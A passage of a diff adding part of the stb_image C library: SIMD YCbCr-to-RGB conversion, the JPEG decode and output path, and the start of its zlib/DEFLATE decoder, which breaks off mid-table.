+static void stbi__YCbCr_to_RGB_simd(stbi_uc *out, stbi_uc const *y, stbi_uc const *pcb, stbi_uc const *pcr, int count, int step)
+{
+   int i = 0;
+
+#ifdef STBI_SSE2
+   // step == 3 is pretty ugly on the final interleave, and i'm not convinced
+   // it's useful in practice (you wouldn't use it for textures, for example).
+   // so just accelerate step == 4 case.
+   if (step == 4) {
+      // this is a fairly straightforward implementation and not super-optimized.
+      __m128i signflip  = _mm_set1_epi8(-0x80);
+      __m128i cr_const0 = _mm_set1_epi16(   (short) ( 1.40200f*4096.0f+0.5f));
+      __m128i cr_const1 = _mm_set1_epi16( - (short) ( 0.71414f*4096.0f+0.5f));
+      __m128i cb_const0 = _mm_set1_epi16( - (short) ( 0.34414f*4096.0f+0.5f));
+      __m128i cb_const1 = _mm_set1_epi16(   (short) ( 1.77200f*4096.0f+0.5f));
+      __m128i y_bias = _mm_set1_epi8((char) (unsigned char) 128);
+      __m128i xw = _mm_set1_epi16(255); // alpha channel
+
+      for (; i+7 < count; i += 8) {
+         // load
+         __m128i y_bytes = _mm_loadl_epi64((__m128i *) (y+i));
+         __m128i cr_bytes = _mm_loadl_epi64((__m128i *) (pcr+i));
+         __m128i cb_bytes = _mm_loadl_epi64((__m128i *) (pcb+i));
+         __m128i cr_biased = _mm_xor_si128(cr_bytes, signflip); // -128
+         __m128i cb_biased = _mm_xor_si128(cb_bytes, signflip); // -128
+
+         // unpack to short (and left-shift cr, cb by 8)
+         __m128i yw  = _mm_unpacklo_epi8(y_bias, y_bytes);
+         __m128i crw = _mm_unpacklo_epi8(_mm_setzero_si128(), cr_biased);
+         __m128i cbw = _mm_unpacklo_epi8(_mm_setzero_si128(), cb_biased);
+
+         // color transform
+         __m128i yws = _mm_srli_epi16(yw, 4);
+         __m128i cr0 = _mm_mulhi_epi16(cr_const0, crw);
+         __m128i cb0 = _mm_mulhi_epi16(cb_const0, cbw);
+         __m128i cb1 = _mm_mulhi_epi16(cbw, cb_const1);
+         __m128i cr1 = _mm_mulhi_epi16(crw, cr_const1);
+         __m128i rws = _mm_add_epi16(cr0, yws);
+         __m128i gwt = _mm_add_epi16(cb0, yws);
+         __m128i bws = _mm_add_epi16(yws, cb1);
+         __m128i gws = _mm_add_epi16(gwt, cr1);
+
+         // descale
+         __m128i rw = _mm_srai_epi16(rws, 4);
+         __m128i bw = _mm_srai_epi16(bws, 4);
+         __m128i gw = _mm_srai_epi16(gws, 4);
+
+         // back to byte, set up for transpose
+         __m128i brb = _mm_packus_epi16(rw, bw);
+         __m128i gxb = _mm_packus_epi16(gw, xw);
+
+         // transpose to interleave channels
+         __m128i t0 = _mm_unpacklo_epi8(brb, gxb);
+         __m128i t1 = _mm_unpackhi_epi8(brb, gxb);
+         __m128i o0 = _mm_unpacklo_epi16(t0, t1);
+         __m128i o1 = _mm_unpackhi_epi16(t0, t1);
+
+         // store
+         _mm_storeu_si128((__m128i *) (out + 0), o0);
+         _mm_storeu_si128((__m128i *) (out + 16), o1);
+         out += 32;
+      }
+   }
+#endif
+
+#ifdef STBI_NEON
+   // in this version, step=3 support would be easy to add. but is there demand?
+   if (step == 4) {
+      // this is a fairly straightforward implementation and not super-optimized.
+      uint8x8_t signflip = vdup_n_u8(0x80);
+      int16x8_t cr_const0 = vdupq_n_s16(   (short) ( 1.40200f*4096.0f+0.5f));
+      int16x8_t cr_const1 = vdupq_n_s16( - (short) ( 0.71414f*4096.0f+0.5f));
+      int16x8_t cb_const0 = vdupq_n_s16( - (short) ( 0.34414f*4096.0f+0.5f));
+      int16x8_t cb_const1 = vdupq_n_s16(   (short) ( 1.77200f*4096.0f+0.5f));
+
+      for (; i+7 < count; i += 8) {
+         // load
+         uint8x8_t y_bytes  = vld1_u8(y + i);
+         uint8x8_t cr_bytes = vld1_u8(pcr + i);
+         uint8x8_t cb_bytes = vld1_u8(pcb + i);
+         int8x8_t cr_biased = vreinterpret_s8_u8(vsub_u8(cr_bytes, signflip));
+         int8x8_t cb_biased = vreinterpret_s8_u8(vsub_u8(cb_bytes, signflip));
+
+         // expand to s16
+         int16x8_t yws = vreinterpretq_s16_u16(vshll_n_u8(y_bytes, 4));
+         int16x8_t crw = vshll_n_s8(cr_biased, 7);
+         int16x8_t cbw = vshll_n_s8(cb_biased, 7);
+
+         // color transform
+         int16x8_t cr0 = vqdmulhq_s16(crw, cr_const0);
+         int16x8_t cb0 = vqdmulhq_s16(cbw, cb_const0);
+         int16x8_t cr1 = vqdmulhq_s16(crw, cr_const1);
+         int16x8_t cb1 = vqdmulhq_s16(cbw, cb_const1);
+         int16x8_t rws = vaddq_s16(yws, cr0);
+         int16x8_t gws = vaddq_s16(vaddq_s16(yws, cb0), cr1);
+         int16x8_t bws = vaddq_s16(yws, cb1);
+
+         // undo scaling, round, convert to byte
+         uint8x8x4_t o;
+         o.val[0] = vqrshrun_n_s16(rws, 4);
+         o.val[1] = vqrshrun_n_s16(gws, 4);
+         o.val[2] = vqrshrun_n_s16(bws, 4);
+         o.val[3] = vdup_n_u8(255);
+
+         // store, interleaving r/g/b/a
+         vst4_u8(out, o);
+         out += 8*4;
+      }
+   }
+#endif
+
+   for (; i < count; ++i) {
+      int y_fixed = (y[i] << 20) + (1<<19); // rounding
+      int r,g,b;
+      int cr = pcr[i] - 128;
+      int cb = pcb[i] - 128;
+      r = y_fixed + cr* stbi__float2fixed(1.40200f);
+      g = y_fixed + cr*-stbi__float2fixed(0.71414f) + ((cb*-stbi__float2fixed(0.34414f)) & 0xffff0000);
+      b = y_fixed                                   +   cb* stbi__float2fixed(1.77200f);
+      r >>= 20;
+      g >>= 20;
+      b >>= 20;
+      if ((unsigned) r > 255) { if (r < 0) r = 0; else r = 255; }
+      if ((unsigned) g > 255) { if (g < 0) g = 0; else g = 255; }
+      if ((unsigned) b > 255) { if (b < 0) b = 0; else b = 255; }
+      out[0] = (stbi_uc)r;
+      out[1] = (stbi_uc)g;
+      out[2] = (stbi_uc)b;
+      out[3] = 255;
+      out += step;
+   }
+}
+#endif
+
+// set up the kernels
+static void stbi__setup_jpeg(stbi__jpeg *j)
+{
+   j->idct_block_kernel = stbi__idct_block;
+   j->YCbCr_to_RGB_kernel = stbi__YCbCr_to_RGB_row;
+   j->resample_row_hv_2_kernel = stbi__resample_row_hv_2;
+
+#ifdef STBI_SSE2
+   if (stbi__sse2_available()) {
+      j->idct_block_kernel = stbi__idct_simd;
+      j->YCbCr_to_RGB_kernel = stbi__YCbCr_to_RGB_simd;
+      j->resample_row_hv_2_kernel = stbi__resample_row_hv_2_simd;
+   }
+#endif
+
+#ifdef STBI_NEON
+   j->idct_block_kernel = stbi__idct_simd;
+   j->YCbCr_to_RGB_kernel = stbi__YCbCr_to_RGB_simd;
+   j->resample_row_hv_2_kernel = stbi__resample_row_hv_2_simd;
+#endif
+}
+
+// clean up the temporary component buffers
+static void stbi__cleanup_jpeg(stbi__jpeg *j)
+{
+   stbi__free_jpeg_components(j, j->s->img_n, 0);
+}
+
+typedef struct
+{
+   resample_row_func resample;
+   stbi_uc *line0,*line1;
+   int hs,vs;   // expansion factor in each axis
+   int w_lores; // horizontal pixels pre-expansion
+   int ystep;   // how far through vertical expansion we are
+   int ypos;    // which pre-expansion row we're on
+} stbi__resample;
+
+// fast 0..255 * 0..255 => 0..255 rounded multiplication
+static stbi_uc stbi__blinn_8x8(stbi_uc x, stbi_uc y)
+{
+   unsigned int t = x*y + 128;
+   return (stbi_uc) ((t + (t >>8)) >> 8);
+}
+
+static stbi_uc *load_jpeg_image(stbi__jpeg *z, int *out_x, int *out_y, int *comp, int req_comp)
+{
+   int n, decode_n, is_rgb;
+   z->s->img_n = 0; // make stbi__cleanup_jpeg safe
+
+   // validate req_comp
+   if (req_comp < 0 || req_comp > 4) return stbi__errpuc("bad req_comp", "Internal error");
+
+   // load a jpeg image from whichever source, but leave in YCbCr format
+   if (!stbi__decode_jpeg_image(z)) { stbi__cleanup_jpeg(z); return NULL; }
+
+   // determine actual number of components to generate
+   n = req_comp ? req_comp : z->s->img_n >= 3 ? 3 : 1;
+
+   is_rgb = z->s->img_n == 3 && (z->rgb == 3 || (z->app14_color_transform == 0 && !z->jfif));
+
+   if (z->s->img_n == 3 && n < 3 && !is_rgb)
+      decode_n = 1;
+   else
+      decode_n = z->s->img_n;
+
+   // nothing to do if no components requested; check this now to avoid
+   // accessing uninitialized coutput[0] later
+   if (decode_n <= 0) { stbi__cleanup_jpeg(z); return NULL; }
+
+   // resample and color-convert
+   {
+      int k;
+      unsigned int i,j;
+      stbi_uc *output;
+      stbi_uc *coutput[4] = { NULL, NULL, NULL, NULL };
+
+      stbi__resample res_comp[4];
+
+      for (k=0; k < decode_n; ++k) {
+         stbi__resample *r = &res_comp[k];
+
+         // allocate line buffer big enough for upsampling off the edges
+         // with upsample factor of 4
+         z->img_comp[k].linebuf = (stbi_uc *) stbi__malloc(z->s->img_x + 3);
+         if (!z->img_comp[k].linebuf) { stbi__cleanup_jpeg(z); return stbi__errpuc("outofmem", "Out of memory"); }
+
+         r->hs      = z->img_h_max / z->img_comp[k].h;
+         r->vs      = z->img_v_max / z->img_comp[k].v;
+         r->ystep   = r->vs >> 1;
+         r->w_lores = (z->s->img_x + r->hs-1) / r->hs;
+         r->ypos    = 0;
+         r->line0   = r->line1 = z->img_comp[k].data;
+
+         if      (r->hs == 1 && r->vs == 1) r->resample = resample_row_1;
+         else if (r->hs == 1 && r->vs == 2) r->resample = stbi__resample_row_v_2;
+         else if (r->hs == 2 && r->vs == 1) r->resample = stbi__resample_row_h_2;
+         else if (r->hs == 2 && r->vs == 2) r->resample = z->resample_row_hv_2_kernel;
+         else                               r->resample = stbi__resample_row_generic;
+      }
+
+      // can't error after this so, this is safe
+      output = (stbi_uc *) stbi__malloc_mad3(n, z->s->img_x, z->s->img_y, 1);
+      if (!output) { stbi__cleanup_jpeg(z); return stbi__errpuc("outofmem", "Out of memory"); }
+
+      // now go ahead and resample
+      for (j=0; j < z->s->img_y; ++j) {
+         stbi_uc *out = output + n * z->s->img_x * j;
+         for (k=0; k < decode_n; ++k) {
+            stbi__resample *r = &res_comp[k];
+            int y_bot = r->ystep >= (r->vs >> 1);
+            coutput[k] = r->resample(z->img_comp[k].linebuf,
+                                     y_bot ? r->line1 : r->line0,
+                                     y_bot ? r->line0 : r->line1,
+                                     r->w_lores, r->hs);
+            if (++r->ystep >= r->vs) {
+               r->ystep = 0;
+               r->line0 = r->line1;
+               if (++r->ypos < z->img_comp[k].y)
+                  r->line1 += z->img_comp[k].w2;
+            }
+         }
+         if (n >= 3) {
+            stbi_uc *y = coutput[0];
+            if (z->s->img_n == 3) {
+               if (is_rgb) {
+                  for (i=0; i < z->s->img_x; ++i) {
+                     out[0] = y[i];
+                     out[1] = coutput[1][i];
+                     out[2] = coutput[2][i];
+                     out[3] = 255;
+                     out += n;
+                  }
+               } else {
+                  z->YCbCr_to_RGB_kernel(out, y, coutput[1], coutput[2], z->s->img_x, n);
+               }
+            } else if (z->s->img_n == 4) {
+               if (z->app14_color_transform == 0) { // CMYK
+                  for (i=0; i < z->s->img_x; ++i) {
+                     stbi_uc m = coutput[3][i];
+                     out[0] = stbi__blinn_8x8(coutput[0][i], m);
+                     out[1] = stbi__blinn_8x8(coutput[1][i], m);
+                     out[2] = stbi__blinn_8x8(coutput[2][i], m);
+                     out[3] = 255;
+                     out += n;
+                  }
+               } else if (z->app14_color_transform == 2) { // YCCK
+                  z->YCbCr_to_RGB_kernel(out, y, coutput[1], coutput[2], z->s->img_x, n);
+                  for (i=0; i < z->s->img_x; ++i) {
+                     stbi_uc m = coutput[3][i];
+                     out[0] = stbi__blinn_8x8(255 - out[0], m);
+                     out[1] = stbi__blinn_8x8(255 - out[1], m);
+                     out[2] = stbi__blinn_8x8(255 - out[2], m);
+                     out += n;
+                  }
+               } else { // YCbCr + alpha?  Ignore the fourth channel for now
+                  z->YCbCr_to_RGB_kernel(out, y, coutput[1], coutput[2], z->s->img_x, n);
+               }
+            } else
+               for (i=0; i < z->s->img_x; ++i) {
+                  out[0] = out[1] = out[2] = y[i];
+                  out[3] = 255; // not used if n==3
+                  out += n;
+               }
+         } else {
+            if (is_rgb) {
+               if (n == 1)
+                  for (i=0; i < z->s->img_x; ++i)
+                     *out++ = stbi__compute_y(coutput[0][i], coutput[1][i], coutput[2][i]);
+               else {
+                  for (i=0; i < z->s->img_x; ++i, out += 2) {
+                     out[0] = stbi__compute_y(coutput[0][i], coutput[1][i], coutput[2][i]);
+                     out[1] = 255;
+                  }
+               }
+            } else if (z->s->img_n == 4 && z->app14_color_transform == 0) {
+               for (i=0; i < z->s->img_x; ++i) {
+                  stbi_uc m = coutput[3][i];
+                  stbi_uc r = stbi__blinn_8x8(coutput[0][i], m);
+                  stbi_uc g = stbi__blinn_8x8(coutput[1][i], m);
+                  stbi_uc b = stbi__blinn_8x8(coutput[2][i], m);
+                  out[0] = stbi__compute_y(r, g, b);
+                  out[1] = 255;
+                  out += n;
+               }
+            } else if (z->s->img_n == 4 && z->app14_color_transform == 2) {
+               for (i=0; i < z->s->img_x; ++i) {
+                  out[0] = stbi__blinn_8x8(255 - coutput[0][i], coutput[3][i]);
+                  out[1] = 255;
+                  out += n;
+               }
+            } else {
+               stbi_uc *y = coutput[0];
+               if (n == 1)
+                  for (i=0; i < z->s->img_x; ++i) out[i] = y[i];
+               else
+                  for (i=0; i < z->s->img_x; ++i) { *out++ = y[i]; *out++ = 255; }
+            }
+         }
+      }
+      stbi__cleanup_jpeg(z);
+      *out_x = z->s->img_x;
+      *out_y = z->s->img_y;
+      if (comp) *comp = z->s->img_n >= 3 ? 3 : 1; // report original components, not output
+      return output;
+   }
+}
+
+static void *stbi__jpeg_load(stbi__context *s, int *x, int *y, int *comp, int req_comp, stbi__result_info *ri)
+{
+   unsigned char* result;
+   stbi__jpeg* j = (stbi__jpeg*) stbi__malloc(sizeof(stbi__jpeg));
+   if (!j) return stbi__errpuc("outofmem", "Out of memory");
+   memset(j, 0, sizeof(stbi__jpeg));
+   STBI_NOTUSED(ri);
+   j->s = s;
+   stbi__setup_jpeg(j);
+   result = load_jpeg_image(j, x,y,comp,req_comp);
+   STBI_FREE(j);
+   return result;
+}
+
+static int stbi__jpeg_test(stbi__context *s)
+{
+   int r;
+   stbi__jpeg* j = (stbi__jpeg*)stbi__malloc(sizeof(stbi__jpeg));
+   if (!j) return stbi__err("outofmem", "Out of memory");
+   memset(j, 0, sizeof(stbi__jpeg));
+   j->s = s;
+   stbi__setup_jpeg(j);
+   r = stbi__decode_jpeg_header(j, STBI__SCAN_type);
+   stbi__rewind(s);
+   STBI_FREE(j);
+   return r;
+}
+
+static int stbi__jpeg_info_raw(stbi__jpeg *j, int *x, int *y, int *comp)
+{
+   if (!stbi__decode_jpeg_header(j, STBI__SCAN_header)) {
+      stbi__rewind( j->s );
+      return 0;
+   }
+   if (x) *x = j->s->img_x;
+   if (y) *y = j->s->img_y;
+   if (comp) *comp = j->s->img_n >= 3 ? 3 : 1;
+   return 1;
+}
+
+static int stbi__jpeg_info(stbi__context *s, int *x, int *y, int *comp)
+{
+   int result;
+   stbi__jpeg* j = (stbi__jpeg*) (stbi__malloc(sizeof(stbi__jpeg)));
+   if (!j) return stbi__err("outofmem", "Out of memory");
+   memset(j, 0, sizeof(stbi__jpeg));
+   j->s = s;
+   result = stbi__jpeg_info_raw(j, x, y, comp);
+   STBI_FREE(j);
+   return result;
+}
+#endif
+
+// public domain zlib decode    v0.2  Sean Barrett 2006-11-18
+//    simple implementation
+//      - all input must be provided in an upfront buffer
+//      - all output is written to a single output buffer (can malloc/realloc)
+//    performance
+//      - fast huffman
+
+#ifndef STBI_NO_ZLIB
+
+// fast-way is faster to check than jpeg huffman, but slow way is slower
+#define STBI__ZFAST_BITS  9 // accelerate all cases in default tables
+#define STBI__ZFAST_MASK  ((1 << STBI__ZFAST_BITS) - 1)
+#define STBI__ZNSYMS 288 // number of symbols in literal/length alphabet
+
+// zlib-style huffman encoding
+// (jpegs packs from left, zlib from right, so can't share code)
+typedef struct
+{
+   stbi__uint16 fast[1 << STBI__ZFAST_BITS];
+   stbi__uint16 firstcode[16];
+   int maxcode[17];
+   stbi__uint16 firstsymbol[16];
+   stbi_uc  size[STBI__ZNSYMS];
+   stbi__uint16 value[STBI__ZNSYMS];
+} stbi__zhuffman;
+
+stbi_inline static int stbi__bitreverse16(int n)
+{
+  n = ((n & 0xAAAA) >>  1) | ((n & 0x5555) << 1);
+  n = ((n & 0xCCCC) >>  2) | ((n & 0x3333) << 2);
+  n = ((n & 0xF0F0) >>  4) | ((n & 0x0F0F) << 4);
+  n = ((n & 0xFF00) >>  8) | ((n & 0x00FF) << 8);
+  return n;
+}
+
+stbi_inline static int stbi__bit_reverse(int v, int bits)
+{
+   STBI_ASSERT(bits <= 16);
+   // to bit reverse n bits, reverse 16 and shift
+   // e.g. 11 bits, bit reverse and shift away 5
+   return stbi__bitreverse16(v) >> (16-bits);
+}
+
+static int stbi__zbuild_huffman(stbi__zhuffman *z, const stbi_uc *sizelist, int num)
+{
+   int i,k=0;
+   int code, next_code[16], sizes[17];
+
+   // DEFLATE spec for generating codes
+   memset(sizes, 0, sizeof(sizes));
+   memset(z->fast, 0, sizeof(z->fast));
+   for (i=0; i < num; ++i)
+      ++sizes[sizelist[i]];
+   sizes[0] = 0;
+   for (i=1; i < 16; ++i)
+      if (sizes[i] > (1 << i))
+         return stbi__err("bad sizes", "Corrupt PNG");
+   code = 0;
+   for (i=1; i < 16; ++i) {
+      next_code[i] = code;
+      z->firstcode[i] = (stbi__uint16) code;
+      z->firstsymbol[i] = (stbi__uint16) k;
+      code = (code + sizes[i]);
+      if (sizes[i])
+         if (code-1 >= (1 << i)) return stbi__err("bad codelengths","Corrupt PNG");
+      z->maxcode[i] = code << (16-i); // preshift for inner loop
+      code <<= 1;
+      k += sizes[i];
+   }
+   z->maxcode[16] = 0x10000; // sentinel
+   for (i=0; i < num; ++i) {
+      int s = sizelist[i];
+      if (s) {
+         int c = next_code[s] - z->firstcode[s] + z->firstsymbol[s];
+         stbi__uint16 fastv = (stbi__uint16) ((s << 9) | i);
+         z->size [c] = (stbi_uc     ) s;
+         z->value[c] = (stbi__uint16) i;
+         if (s <= STBI__ZFAST_BITS) {
+            int j = stbi__bit_reverse(next_code[s],s);
+            while (j < (1 << STBI__ZFAST_BITS)) {
+               z->fast[j] = fastv;
+               j += (1 << s);
+            }
+         }
+         ++next_code[s];
+      }
+   }
+   return 1;
+}
+
+// zlib-from-memory implementation for PNG reading
+//    because PNG allows splitting the zlib stream arbitrarily,
+//    and it's annoying structurally to have PNG call ZLIB call PNG,
+//    we require PNG read all the IDATs and combine them into a single
+//    memory buffer
+
+typedef struct
+{
+   stbi_uc *zbuffer, *zbuffer_end;
+   int num_bits;
+   int hit_zeof_once;
+   stbi__uint32 code_buffer;
+
+   char *zout;
+   char *zout_start;
+   char *zout_end;
+   int   z_expandable;
+
+   stbi__zhuffman z_length, z_distance;
+} stbi__zbuf;
+
+stbi_inline static int stbi__zeof(stbi__zbuf *z)
+{
+   return (z->zbuffer >= z->zbuffer_end);
+}
+
+stbi_inline static stbi_uc stbi__zget8(stbi__zbuf *z)
+{
+   return stbi__zeof(z) ? 0 : *z->zbuffer++;
+}
+
+static void stbi__fill_bits(stbi__zbuf *z)
+{
+   do {
+      if (z->code_buffer >= (1U << z->num_bits)) {
+        z->zbuffer = z->zbuffer_end;  /* treat this as EOF so we fail. */
+        return;
+      }
+      z->code_buffer |= (unsigned int) stbi__zget8(z) << z->num_bits;
+      z->num_bits += 8;
+   } while (z->num_bits <= 24);
+}
+
+stbi_inline static unsigned int stbi__zreceive(stbi__zbuf *z, int n)
+{
+   unsigned int k;
+   if (z->num_bits < n) stbi__fill_bits(z);
+   k = z->code_buffer & ((1 << n) - 1);
+   z->code_buffer >>= n;
+   z->num_bits -= n;
+   return k;
+}
+
+static int stbi__zhuffman_decode_slowpath(stbi__zbuf *a, stbi__zhuffman *z)
+{
+   int b,s,k;
+   // not resolved by fast table, so compute it the slow way
+   // use jpeg approach, which requires MSbits at top
+   k = stbi__bit_reverse(a->code_buffer, 16);
+   for (s=STBI__ZFAST_BITS+1; ; ++s)
+      if (k < z->maxcode[s])
+         break;
+   if (s >= 16) return -1; // invalid code!
+   // code size is s, so:
+   b = (k >> (16-s)) - z->firstcode[s] + z->firstsymbol[s];
+   if (b >= STBI__ZNSYMS) return -1; // some data was corrupt somewhere!
+   if (z->size[b] != s) return -1;  // was originally an assert, but report failure instead.
+   a->code_buffer >>= s;
+   a->num_bits -= s;
+   return z->value[b];
+}
+
+stbi_inline static int stbi__zhuffman_decode(stbi__zbuf *a, stbi__zhuffman *z)
+{
+   int b,s;
+   if (a->num_bits < 16) {
+      if (stbi__zeof(a)) {
+         if (!a->hit_zeof_once) {
+            // This is the first time we hit eof, insert 16 extra padding btis
+            // to allow us to keep going; if we actually consume any of them
+            // though, that is invalid data. This is caught later.
+            a->hit_zeof_once = 1;
+            a->num_bits += 16; // add 16 implicit zero bits
+         } else {
+            // We already inserted our extra 16 padding bits and are again
+            // out, this stream is actually prematurely terminated.
+            return -1;
+         }
+      } else {
+         stbi__fill_bits(a);
+      }
+   }
+   b = z->fast[a->code_buffer & STBI__ZFAST_MASK];
+   if (b) {
+      s = b >> 9;
+      a->code_buffer >>= s;
+      a->num_bits -= s;
+      return b & 511;
+   }
+   return stbi__zhuffman_decode_slowpath(a, z);
+}
+
+static int stbi__zexpand(stbi__zbuf *z, char *zout, int n)  // need to make room for n bytes
+{
+   char *q;
+   unsigned int cur, limit, old_limit;
+   z->zout = zout;
+   if (!z->z_expandable) return stbi__err("output buffer limit","Corrupt PNG");
+   cur   = (unsigned int) (z->zout - z->zout_start);
+   limit = old_limit = (unsigned) (z->zout_end - z->zout_start);
+   if (UINT_MAX - cur < (unsigned) n) return stbi__err("outofmem", "Out of memory");
+   while (cur + n > limit) {
+      if(limit > UINT_MAX / 2) return stbi__err("outofmem", "Out of memory");
+      limit *= 2;
+   }
+   q = (char *) STBI_REALLOC_SIZED(z->zout_start, old_limit, limit);
+   STBI_NOTUSED(old_limit);
+   if (q == NULL) return stbi__err("outofmem", "Out of memory");
+   z->zout_start = q;
+   z->zout       = q + cur;
+   z->zout_end   = q + limit;
+   return 1;
+}
+
+static const int stbi__zlength_base[31] = {
+   3,4,5,6,7,8,9,10,11,13,
+   15,17,19,23,27,31,35,43,51,59,
+   67,83,99,115,131,163,195,227,258,0,0 };
+
+static const int stbi__zlength_extra[31]=
+{ 0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0 };
+
+static const int stbi__zdist_base[32] = { 1,2,3,4,5,7,9,13,17,25,33,49,65,97,129,193,
+257,385,513,769,1025,1537,2049,3073,4097,6145,8193,12289,16385,24577,0,0};
+
+static const int stbi__zdist_extra[32] =
+{ 0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13};
+
+static int stbi__parse_huffman_block(stbi__zbuf *a)
+{
+   char *zout = a->zout;
+   for(;;) {
+      int z = stbi__zhuffman_decode(a, &a->z_length);
+      if (z < 256) {
+         if (z < 0) return stbi__err("bad huffman code","Corrupt PNG"); // error in huffman codes
+         if (zout >= a->zout_end) {
+            if (!stbi__zexpand(a, zout, 1)) return 0;
+            zout = a->zout;
+         }
+         *zout++ = (char) z;
+      } else {
+         stbi_uc *p;
+         int len,dist;
+         if (z == 256) {
+            a->zout = zout;
+            if (a->hit_zeof_once && a->num_bits < 16) {
+               // The first time we hit zeof, we inserted 16 extra zero bits into our bit
+               // buffer so the decoder can just do its speculative decoding. But if we
+               // actually consumed any of those bits (which is the case when num_bits < 16),
+               // the stream actually read past the end so it is malformed.
+               return stbi__err("unexpected end","Corrupt PNG");
+            }
+            return 1;
+         }
+         if (z >= 286) return stbi__err("bad huffman code","Corrupt PNG"); // per DEFLATE, length codes 286 and 287 must not appear in compressed data
+         z -= 257;
+         len = stbi__zlength_base[z];
+         if (stbi__zlength_extra[z]) len += stbi__zreceive(a, stbi__zlength_extra[z]);
+         z = stbi__zhuffman_decode(a, &a->z_distance);
+         if (z < 0 || z >= 30) return stbi__err("bad huffman code","Corrupt PNG"); // per DEFLATE, distance codes 30 and 31 must not appear in compressed data
+         dist = stbi__zdist_base[z];
+         if (stbi__zdist_extra[z]) dist += stbi__zreceive(a, stbi__zdist_extra[z]);
+         if (zout - a->zout_start < dist) return stbi__err("bad dist","Corrupt PNG");
+         if (len > a->zout_end - zout) {
+            if (!stbi__zexpand(a, zout, len)) return 0;
+            zout = a->zout;
+         }
+         p = (stbi_uc *) (zout - dist);
+         if (dist == 1) { // run of one byte; common in images.
+            stbi_uc v = *p;
+            if (len) { do *zout++ = v; while (--len); }
+         } else {
+            if (len) { do *zout++ = *p++; while (--len); }
+         }
+      }
+   }
+}
+
+static int stbi__compute_huffman_codes(stbi__zbuf *a)
+{
+   static const stbi_uc length_dezigzag[19] = { 16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15 };
+   stbi__zhuffman z_codelength;
+   stbi_uc lencodes[286+32+137];//padding for maximum single op
+   stbi_uc codelength_sizes[19];
+   int i,n;
+
+   int hlit  = stbi__zreceive(a,5) + 257;
+   int hdist = stbi__zreceive(a,5) + 1;
+   int hclen = stbi__zreceive(a,4) + 4;
+   int ntot  = hlit + hdist;
+
+   memset(codelength_sizes, 0, sizeof(codelength_sizes));
+   for (i=0; i < hclen; ++i) {
+      int s = stbi__zreceive(a,3);
+      codelength_sizes[length_dezigzag[i]] = (stbi_uc) s;
+   }
+   if (!stbi__zbuild_huffman(&z_codelength, codelength_sizes, 19)) return 0;
+
+   n = 0;
+   while (n < ntot) {
+      int c = stbi__zhuffman_decode(a, &z_codelength);
+      if (c < 0 || c >= 19) return stbi__err("bad codelengths", "Corrupt PNG");
+      if (c < 16)
+         lencodes[n++] = (stbi_uc) c;
+      else {
+         stbi_uc fill = 0;
+         if (c == 16) {
+            c = stbi__zreceive(a,2)+3;
+            if (n == 0) return stbi__err("bad codelengths", "Corrupt PNG");
+            fill = lencodes[n-1];
+         } else if (c == 17) {
+            c = stbi__zreceive(a,3)+3;
+         } else if (c == 18) {
+            c = stbi__zreceive(a,7)+11;
+         } else {
+            return stbi__err("bad codelengths", "Corrupt PNG");
+         }
+         if (ntot - n < c) return stbi__err("bad codelengths", "Corrupt PNG");
+         memset(lencodes+n, fill, c);
+         n += c;
+      }
+   }
+   if (n != ntot) return stbi__err("bad codelengths","Corrupt PNG");
+   if (!stbi__zbuild_huffman(&a->z_length, lencodes, hlit)) return 0;
+   if (!stbi__zbuild_huffman(&a->z_distance, lencodes+hlit, hdist)) return 0;
+   return 1;
+}
+
+static int stbi__parse_uncompressed_block(stbi__zbuf *a)
+{
+   stbi_uc header[4];
+   int len,nlen,k;
+   if (a->num_bits & 7)
+      stbi__zreceive(a, a->num_bits & 7); // discard
+   // drain the bit-packed data into header
+   k = 0;
+   while (a->num_bits > 0) {
+      header[k++] = (stbi_uc) (a->code_buffer & 255); // suppress MSVC run-time check
+      a->code_buffer >>= 8;
+      a->num_bits -= 8;
+   }
+   if (a->num_bits < 0) return stbi__err("zlib corrupt","Corrupt PNG");
+   // now fill header the normal way
+   while (k < 4)
+      header[k++] = stbi__zget8(a);
+   len  = header[1] * 256 + header[0];
+   nlen = header[3] * 256 + header[2];
+   if (nlen != (len ^ 0xffff)) return stbi__err("zlib corrupt","Corrupt PNG");
+   if (a->zbuffer + len > a->zbuffer_end) return stbi__err("read past buffer","Corrupt PNG");
+   if (a->zout + len > a->zout_end)
+      if (!stbi__zexpand(a, a->zout, len)) return 0;
+   memcpy(a->zout, a->zbuffer, len);
+   a->zbuffer += len;
+   a->zout += len;
+   return 1;
+}
+
+static int stbi__parse_zlib_header(stbi__zbuf *a)
+{
+   int cmf   = stbi__zget8(a);
+   int cm    = cmf & 15;
+   /* int cinfo = cmf >> 4; */
+   int flg   = stbi__zget8(a);
+   if (stbi__zeof(a)) return stbi__err("bad zlib header","Corrupt PNG"); // zlib spec
+   if ((cmf*256+flg) % 31 != 0) return stbi__err("bad zlib header","Corrupt PNG"); // zlib spec
+   if (flg & 32) return stbi__err("no preset dict","Corrupt PNG"); // preset dictionary not allowed in png
+   if (cm != 8) return stbi__err("bad compression","Corrupt PNG"); // DEFLATE required for png
+   // window = 1 << (8 + cinfo)... but who cares, we fully buffer output
+   return 1;
+}
+
+static const stbi_uc stbi__zdefault_length[STBI__ZNSYMS] =
+{
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
